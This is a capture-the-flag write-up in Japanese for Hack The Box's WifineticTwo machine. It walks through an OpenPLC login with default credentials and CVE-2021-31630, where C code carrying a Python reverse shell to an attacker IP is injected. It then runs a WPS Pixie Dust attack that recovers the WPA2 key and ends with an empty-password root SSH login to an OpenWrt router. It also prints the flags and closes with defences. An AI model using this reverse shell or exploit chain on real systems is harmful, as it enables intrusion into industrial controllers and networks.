Hack The BoxのWriteup(WifineticTwo)[Medium] 

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: WifineticTwo — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 8080/OpenPLC
デフォルト認証情報
openplc:openplc
CVE-2021-31630
Hardware Layer C コード注入
LXC root シェル
user.txt ✓
WPS Pixie Dust
oneshot.py -K
WPA2 PSK 平文取得
plcrouter AP
wpa_supplicant 接続
+ デフォルトルート障害解析
SSH パスワード空認証
root@192.168.1.1 (dropbear)
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p22,8080 --open -T4 10.129.46.138
RESULT
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds

バージョンスキャン

BASH
nmap -sV -sC -p 22,8080 10.129.46.138
RESULT
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http-proxy  HAProxy http proxy / Werkzeug httpd 1.0.1 (Python 2.7.18)
|_http-title: OpenPLC Webserver
🚨
重要発見: ポート 8080 で OpenPLC Runtime Web Server (Python 2.7 / Werkzeug 製) が稼働。OpenPLC は産業制御システム (ICS) 向けの オープンソース PLC ランタイムであり、既知の CVE-2021-31630 (認証済みリモートコード実行) の対象になりうる。
PHASE 2

OpenPLC Foothold 調査 — デフォルト認証情報 & 脆弱性の特定

デフォルト認証情報でログイン

NOTE
OpenPLC の公式ドキュメントに記載されているデフォルト認証情報は
openplc:openplc。これがそのまま有効だった。
BASH
curl -s -c cookies.txt \
  --data-urlencode "username=openplc" --data-urlencode "password=openplc" \
  http://10.129.46.138:8080/login
RESULT
HTTP/1.0 302 FOUND (→ /dashboard)  ログイン成功

Hardware Layer Code Box の発見

NOTE
OpenPLC ダッシュボードの Hardware タブには "Hardware Layer Code Box" という
機能があり、選択した Hardware Layer (blank_linux 等) の C ソースコードを
自由に編集して "Save changes" で再コンパイル・リンクできる。
コンパイル成功後は Start PLC でコンパイル済みバイナリが実行される。
これが CVE-2021-31630 の実体 (認証済みユーザによる任意 C コード実行)。
BASH
# Hardware ページの実際のフォームフィールド名をまず確認
curl -s -b cookies.txt http://10.129.46.138:8080/hardware \
  | grep -oE '<(input|select|textarea)[^>]*name="[^"]+"'
RESULT
<select id='hardware_layer' name='hardware_layer' ...
<textarea ... name="custom_layer_code" id="custom_layer_code" ...
⚠️
ハマりどころ: 巷の PoC (exploit-db #49803 含む) や一部の資料では POST パラメータ名を content としているものがあるが、実機のフォームの 実際の name 属性は custom_layer_code。誤ったフィールド名で 送信すると HTTP 400 が返り、コードは一切保存されない (症状: 保存は成功したように見えても再コンパイルすると変更が反映されない)。 必ず対象ページの実フォームを確認してから POST すること。
PHASE 3

Hardware Layer への C リバースシェル注入 & コンパイル

PLC 停止 & Hardware Layer を初期状態に復元

BASH
curl -s -b cookies.txt http://10.129.46.138:8080/stop_plc
curl -s -b cookies.txt http://10.129.46.138:8080/restore_custom_hardware

リバースシェル C コードの注入

C (Hardware Layer カスタムコード)
#include "ladder.h"
#include <stdlib.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
int wt2_ran = 0;

void wt2_run()
{
    if (wt2_ran) return;
    wt2_ran = 1;
    system("/usr/bin/python3 -c \"import os,socket,subprocess;"
           "s=socket.socket();s.connect(('10.10.15.201',4444));"
           "os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
           "subprocess.call(['/bin/sh','-i'])\" &");
}

void initCustomLayer() { wt2_run(); return; }
void updateCustomIn() {}
void updateCustomOut() { wt2_run(); }
BASH
# custom_layer_code フィールドでファイルから直接POST(クォート崩れ防止のため@ファイル指定)
curl -s -b cookies.txt -c cookies.txt \
  --data-urlencode "hardware_layer=blank_linux" \
  --data-urlencode "custom_layer_code@shell.c" \
  http://10.129.46.138:8080/hardware
RESULT
HTTP/1.0 200 OK
<head><meta http-equiv="refresh" content="0; URL='compile-program?file=blank_program.st'" /></head>

コンパイル実行

BASH
curl -s -b cookies.txt "http://10.129.46.138:8080/compile-program?file=blank_program.st"
curl -s -b cookies.txt http://10.129.46.138:8080/compilation-logs
RESULT
Optimizing ST program...
Generating C files...
Moving Files...
Compiling for Linux
Generating object files...
Generating glueVars...
Compiling main program...
Compilation finished successfully!
PHASE 4

PLC 起動 & user.txt 取得

リスナー起動 & PLC 起動

BASH
# ターミナル1
nc -lnvp 4444

# ターミナル2
curl -s -b cookies.txt http://10.129.46.138:8080/start_plc
RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.46.138] 56542
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
シェル取得成功! OpenPLC の Runtime プロセス自体が root で動作しているため、いきなり root 相当のシェルが得られる (ただし後述の通り LXC コンテナ内の root であり、ホスト/ルータの root ではない)。

user.txt 取得

BASH
# cat /root/user.txt
RESULT
44febc0b5e5c6a1780b2163a952d4241
user.txt — root@LXCコンテナ
44febc0b5e5c6a1780b2163a952d4241
PHASE 5

ネットワーク列挙 & WPS Pixie Dust 攻撃

wlan0 インターフェースの発見

BASH
# ip a
# iwconfig
RESULT
5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 ...
    link/ether 02:00:00:00:02:00

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated
ℹ️
コンテナは LXC であり (cat /proc/1/environcontainer=lxc を確認)、通常の権限昇格経路 (SUID/sudo/カーネル脆弱性) は 見当たらない。代わりにコンテナに割り当てられた wlan0 無線インターフェース 経由でホストの WiFi ネットワークへピボットする、という本マシン特有の経路がある。

AP スキャン & WPS 有効化確認

BASH
# iw wlan0 scan
RESULT
BSS 02:00:00:00:01:00(on wlan0)
    SSID: plcrouter
    RSN: * Authentication suites: PSK
    WPS:    * Wi-Fi Protected Setup State: 2 (Configured)
            * Response Type: 3 (AP)
            * Config methods: Label, Display, Keypad
🚨
WPA2-PSK 保護された AP plcrouter を発見。WPS が有効 になっており、Pixie Dust 攻撃 (WPS の乱数生成の弱さを突いてオフラインで WPS PIN を割り出す攻撃) の対象になりうる。

oneshot.py で WPS Pixie Dust 攻撃を実行

BASH
# Kali側: ツール取得 & 配布用HTTPサーバー起動
wget https://raw.githubusercontent.com/kimocoder/OneShot/master/oneshot.py
python3 -m http.server 1234

# ターゲット側: ダウンロードして実行
curl -O 10.10.15.201:1234/oneshot.py
python3 oneshot.py -i wlan0 -b 02:00:00:00:01:00 -K
RESULT
[*] Running wpa_supplicant...
[*] Trying PIN '12345670'...
[*] Associating with AP...
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received WPS Message M1 ... M7
[+] WPS PIN: '12345670'
[+] WPA PSK: 'NoWWEDoKnowWhaTisReal123!'
[+] AP SSID: 'plcrouter'
plcrouter AP — WPA2 PSK (Pixie Dust で平文取得)
NoWWEDoKnowWhaTisReal123!
PHASE 6

AP 接続 & ネットワークピボット — トラブルシューティング実録

wpa_supplicant で plcrouter AP に接続

BASH
cat <<EOF > /tmp/wpa.conf
network={
    ssid="plcrouter"
    psk="NoWWEDoKnowWhaTisReal123!"
}
EOF
wpa_supplicant -B -i wlan0 -c /tmp/wpa.conf
iw dev wlan0 link
RESULT
Successfully initialized wpa_supplicant
Connected to 02:00:00:00:01:00 (on wlan0)
	SSID: plcrouter
	signal: -30 dBm

DHCP でアドレス取得

BASH
dhclient
ip -4 addr show wlan0
RESULT
RTNETLINK answers: File exists   ← エラーに見えるが無害 (アドレス取得済み)
5: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> ...
    inet 192.168.1.84/24 brd 192.168.1.255 scope global secondary dynamic wlan0

🔥 ハマった点: リバースシェルが一切通らなくなる自傷ルーティングバグ

NOTE
ここで一度 OpenPLC の Hardware Layer を再注入して user.txt を取り直そうとしたところ、
何度リトライしても Kali 側のリスナーに一切コールバックが来なくなる現象が発生した。
Hardware Layer のコードを単純化 (execve のみ/dup2 のみ/no-op) して段階的に切り分けた結果、
「dup2 単体までは PLC が Running 状態になるのに、execve を足すと即座に Stopped に戻る」
という現象が見え、一見 execve 自体の失敗 (NULL argv/envp の未定義動作等) を疑ったが、
curl --interface eth0 で強制的に有線側から送信すると外部への通信が届くことが判明し、
問題は execve ではなく デフォルトルートの経路選択 にあると特定した。
BASH
# ip route show
RESULT
default via 192.168.1.1 dev wlan0 linkdown          ← メトリック省略=暗黙的に0(最優先)
default via 10.0.3.1 dev eth0 proto dhcp src 10.0.3.52 metric 100  ← 本来のKali向け正規ルート
10.0.3.0/24 dev eth0 proto kernel scope link src 10.0.3.2
192.168.1.0/24 dev wlan0 proto kernel scope link src 192.168.1.46 linkdown
🚨
原因判明: WiFi ピボットの過程 (静的IP付与の際など) で ip route add default via 192.168.1.1 dev wlan0 をメトリック指定なしで実行すると、暗黙のメトリック 0 が付与され、 DHCP 由来の正規デフォルトルート (metric 100, eth0 経由・Kali 側 VPN へ到達可能) より 優先されてしまう。しかも wlan0 はこの時点で linkdown (WPS/WPA処理中に一時的にリンクダウンしていた) にも関わらず ルートエントリ自体は残存するため、新規の外向き接続が すべてこの「死んだルート」に吸い込まれて失敗し続ける。
BASH
# 壊れたデフォルトルートを削除するだけで復旧する
ip route del default via 192.168.1.1 dev wlan0
教訓: 192.168.1.1 (plcrouter) は ip addr add .../24 で 自動的に張られる直結ルートで到達可能なため、そもそも wlan0 経由のデフォルトルート 追加は不要だった。以後は eth0 の正規デフォルトルートのみを残し、192.168.1.0/24 宛は 直結ルートに任せることで、Kali へのコールバックとルータへの到達を両立できる。
PHASE 7

OpenWrt ルータへの侵入

ルータの Web 管理画面 (LuCI) を確認

BASH
ping -c 1 192.168.1.1
curl -s -i http://192.168.1.1/cgi-bin/luci/ | head -12
RESULT
HTTP/1.1 403 Forbidden
x-luci-login-required: yes
<title>ap - LuCI</title>
ℹ️
フッターから LuCI openwrt-23.05 branch (git-23.306.39416-c86c256) / OpenWrt 23.05.2 と判明。このバージョンの LuCI は System > Administration 画面が JS SPA (ubus 経由の非公開 RPC) で描画されており、 classic な CBI フォームの HTML はほぼ空のスケルトンしか返らない (<div id="tabmenu" style="display:none"></div> のみ)。 SSH-Keys 登録フォームを curl で単純リプレイする手法はこの版では機能しない。

LuCI へのログイン (フォーム認証)

BASH
curl -s -c luci.cookies -b luci.cookies \
  -d luci_username=root -d luci_password= \
  http://192.168.1.1/cgi-bin/luci/
RESULT
HTTP/1.0 302 FOUND
Set-Cookie: sysauth_http=334a74698f4c332ff79fbaf8b6493f03

# ログイン後の管理ページ確認
curl -s -b luci.cookies http://192.168.1.1/cgi-bin/luci/admin/system/admin
→ "No password" バナー確認(ログイン成功
ℹ️
ブラウザ経由で見ると LuCI ログイン画面がネイティブの HTTP Basic 認証ダイアログのように 見えることがあるが、curl -u root: (HTTP Basic 認証) は機能しない。実体は LuCI 独自のセッション Cookie 方式 (luci_username/luci_password フォーム POST → sysauth_http Cookie 発行) であり、こちらが正解。

💡 ブレイクスルー: SSH 鍵登録なしでの直接ログイン

NOTE
LuCI の SSH-Keys 画面が JS SPA 化されており curl での鍵登録が困難だったため、
そもそも公開鍵登録が必須なのかを疑い、まず素の SSH パスワード認証を試したところ、
パスワード未設定であることを示す "No password set!" バナー通り、
空パスワードでの認証がそのまま通ることが判明した。
公開鍵の生成・登録・LuCI操作が一切不要になり、攻撃チェーンが大幅に簡略化された。
BASH
ssh -o StrictHostKeyChecking=no \
    -o PreferredAuthentications=password -o PubkeyAuthentication=no \
    root@192.168.1.1 id
RESULT
Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts.
uid=0(root) gid=0(root)
認証成功! -o PubkeyAuthentication=no で鍵認証を明示的に スキップし PreferredAuthentications=password でパスワード認証のみを 強制することで、非対話シェルからでも空パスワードでの dropbear ログインが確実に通る。
PHASE 8

root.txt 取得

root.txt 読み取り

BASH
ssh -o StrictHostKeyChecking=no \
    -o PreferredAuthentications=password -o PubkeyAuthentication=no \
    root@192.168.1.1 'cat /root/root.txt'
RESULT
8fed34b4bcef606421b91d01a877afcb
root.txt — root@ap (OpenWrt ルータ)
8fed34b4bcef606421b91d01a877afcb
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — root@LXCコンテナ
44febc0b5e5c6a1780b2163a952d4241
root.txt — root@ap (OpenWrtルータ)
8fed34b4bcef606421b91d01a877afcb

使用した脆弱性・弱点

脆弱性 対象 影響 深刻度 利用方法
デフォルト認証情報 OpenPLC Webserver 管理画面への認証 Medium openplc:openplc がそのまま有効
CVE-2021-31630 OpenPLC v3 Hardware Layer Code Box 認証済みリモートコード実行 (root, LXC内) Critical Hardware Layer の C ソースにリバースシェルを注入し Save/Compile/Start で実行
WPS Pixie Dust plcrouter AP (WPS 有効) WPA2 PSK の平文漏洩 Critical oneshot.py -i wlan0 -b <BSSID> -K でオフラインPIN復元 → PSK取得
ルータ root パスワード未設定 OpenWrt 23.05.2 (dropbear) 認証なしでの root SSH アクセス Critical PreferredAuthentications=password で空パスワード認証がそのまま通過

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/ssh, 8080/OpenPLC Runtime
2Foothold調査デフォルト認証情報 + Hardware Layer 発見openplc:openplc、正しいPOSTフィールド名 (custom_layer_code)
3RCECVE-2021-31630 (Hardware Layer C注入)コンパイル成功、リバースシェル用バイナリ
4エクスプロイトStart PLC → nc コールバックuser.txt (LXC root シェル)
5WiFi偵察iw scan + WPS Pixie Dust (oneshot.py)plcrouter AP の WPA2 PSK 平文
6ネットワークピボットwpa_supplicant + DHCP + ルーティング障害解析192.168.1.0/24 到達性の確立
7ルータ侵入LuCI ログイン確認 + 空パスワードSSH発見root@192.168.1.1 アクセス
8フラグ取得SSH パスワード認証root.txt

学んだ教訓 & 防御策

問題点防御策
OpenPLC のデフォルト認証情報が未変更 初期設定完了後は必ずデフォルトパスワードを変更する。管理画面をインターネットに公開しない。
Hardware Layer Code Box が認証済みユーザに任意 C コード実行を許してしまう設計 (CVE-2021-31630) OpenPLC を最新版に更新し、Hardware Layer カスタマイズ機能へのアクセスを最小権限のロールに限定する。産業制御システムの管理インターフェースはネットワーク分離 (VLAN/ファイアウォール) する。
Access Point で WPS が有効なままになっている WPS を無効化する。WPA2/WPA3 の強固なパスフレーズのみで運用する。
ルータ (OpenWrt) の root パスワードが未設定 初回セットアップ時に必ず root パスワードを設定する。dropbear のパスワード認証を無効化し鍵認証のみに限定する。
コンテナに割り当てられたネットワークインターフェースを介した内部ネットワークへのラテラルムーブメント コンテナ/PLC 実行環境に不要な無線インターフェースへのアクセス権を与えない。ネットワークセグメンテーションを徹底する。
HackTheBox: WifineticTwo | 完全攻略レポート